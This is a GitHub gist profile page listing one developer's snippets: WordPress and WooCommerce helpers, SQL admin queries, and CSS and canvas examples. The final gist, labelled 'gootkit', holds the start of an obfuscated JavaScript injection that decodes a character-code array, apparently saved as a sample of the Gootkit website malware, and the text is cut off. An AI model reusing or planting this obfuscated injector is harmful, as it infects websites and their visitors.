Skip to content

Instantly share code, notes, and snippets.

View acki's full-sized avatar
👋
I may be slow to respond.

Christoph S. Ackermann acki

👋
I may be slow to respond.
View GitHub Profile
@acki
acki / helpers.php
Last active January 20, 2019 18:21
Helper for saving queries when using ACF in WordPress
<?php
// get field function for ACF without using ACF and generating additional queries (normally)
function get( $selector, $post_id = false, $format_value = true ) {
if( function_exists( 'get_post_meta' ) && function_exists( 'acf_get_valid_post_id' ) ) {
$post_id = acf_get_valid_post_id( $post_id );
// Search the data in post meta
// Lade erst wenn Dokument und Elemente ready
jQuery(function() {
// Für alle Bilder mit der Klasse .person-img...
jQuery('.person-img').each( function( image ) {
// Bilder preload im Hintergrund
imageObj = new Image();
imageObj.src = jQuery(this).attr('src').replace(/_flat/g, '_pic');
// Mouseover Funktionsbinding
jQuery(this).live('mouseover', function() {
@acki
acki / mu-autoloader.tpl.php
Created February 22, 2018 13:16
WordPress MU Plugins autoloader
<?php
/**
* This file is for loading all mu-plugins within subfolders
* where the PHP file name is exactly like the directory name + .php.
*
* Example: /mu-tools/mu-tools.php
*/
$dirs = glob(dirname(__FILE__) . '/*' , GLOB_ONLYDIR);
@acki
acki / functions.php
Last active November 18, 2020 22:42
Dirty fix for WooCommerce rounding problems due to non-round tax values
<?php
/*
* WooCommerce dirty rounding fix for special tax values (7.7 in Switzerland)
* Rounding to 0.05 instead of 0.01
* created by Christoph S. Ackermann
* https://www.cubetech.ch
* 05.01.2018
*/
@acki
acki / wp-config.php SSL Addon
Created June 13, 2017 13:34
wp-config.php SSL Addon
/** SSL Stuff **/
define( 'FORCE_SSL_ADMIN', false );
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
$_SERVER['HTTPS']='on';
USE `redcap_web`;
SET FOREIGN_KEY_CHECKS = 0;
INSERT INTO redcap_user_information (username, user_email, user_firstname, user_lastname, super_user, user_firstvisit) VALUES ('site_admin', 'joe.user@projectredcap.org', 'Joe', 'User', 1, now());
SET FOREIGN_KEY_CHECKS = 1;
@acki
acki / gist:877a69ec37cbc2769bcd
Created March 31, 2015 16:24
CSS black and white filter for images (IE6+)
img.desaturate{
-webkit-filter: grayscale(1); -webkit-filter: grayscale(100%);
filter: grayscale(100%);
filter: gray;
filter: url("data:image/svg+xml;utf8,<svg version='1.1' xmlns='http://www.w3.org/2000/svg' height='0'><filter id='greyscale'><feColorMatrix type='matrix' values='0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0' /></filter></svg>#greyscale");
}
@acki
acki / gist:11098108
Last active August 29, 2015 14:00
HTML5 Canvas Heartbeat
<canvas id="canvas" width="150" height="150" style="background-color: black;"></canvas>
<script type="text/javascript">
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");
ctx.fillStyle = "#dbbd7a";
ctx.fill();
var fps = 10;
var n = 1;
USE mysql;
SELECT password, host, user,
CONCAT(Select_priv, Lock_tables_priv) AS selock,
CONCAT(Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv) AS modif,
CONCAT(Grant_priv, References_priv, Index_priv, Alter_priv) AS meta,
CONCAT(Create_tmp_table_priv, Create_view_priv, Show_view_priv) AS views,
CONCAT(Create_routine_priv, Alter_routine_priv, Execute_priv) AS funcs,
CONCAT(Repl_slave_priv, Repl_client_priv) AS replic,
CONCAT(Super_priv, Shutdown_priv, Process_priv, File_priv, Show_db_priv, Reload_priv) AS admin
FROM user ORDER BY user, host;
@acki
acki / gist:2874683
Created June 5, 2012 12:24
gootkit
/*gootkitstart*/i=0;try{grbregd=prototype;}catch(z){h="ha"+"rCode";f=[10,17.5,14,8.5,17,11.5,14.5,14,-25,14,9.5,19,17,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,11,11.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-17.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,13,14.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-22.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,17,9.5,16.5,17,-25,-10.5,-25,17,11,11.5,16.5,-18,-8.5,-25,-20,-25,13,14.5,-25,-18.5,-25,17,11,11.5,16.5,-18,0,-25,-20,-25,11,11.5,-11.5,-36,-25,-25,-25,-25,11.5,10,-21,17,9.5,16.5,17,-25,-10,-25,-17,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-11.5,-36,-25,-25,-25,-25,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-25,-19.5,-25,17,11,11.5,16.5,-18,-2.5,-11.5,-36,-25,-25,-25,-25,21.5,-3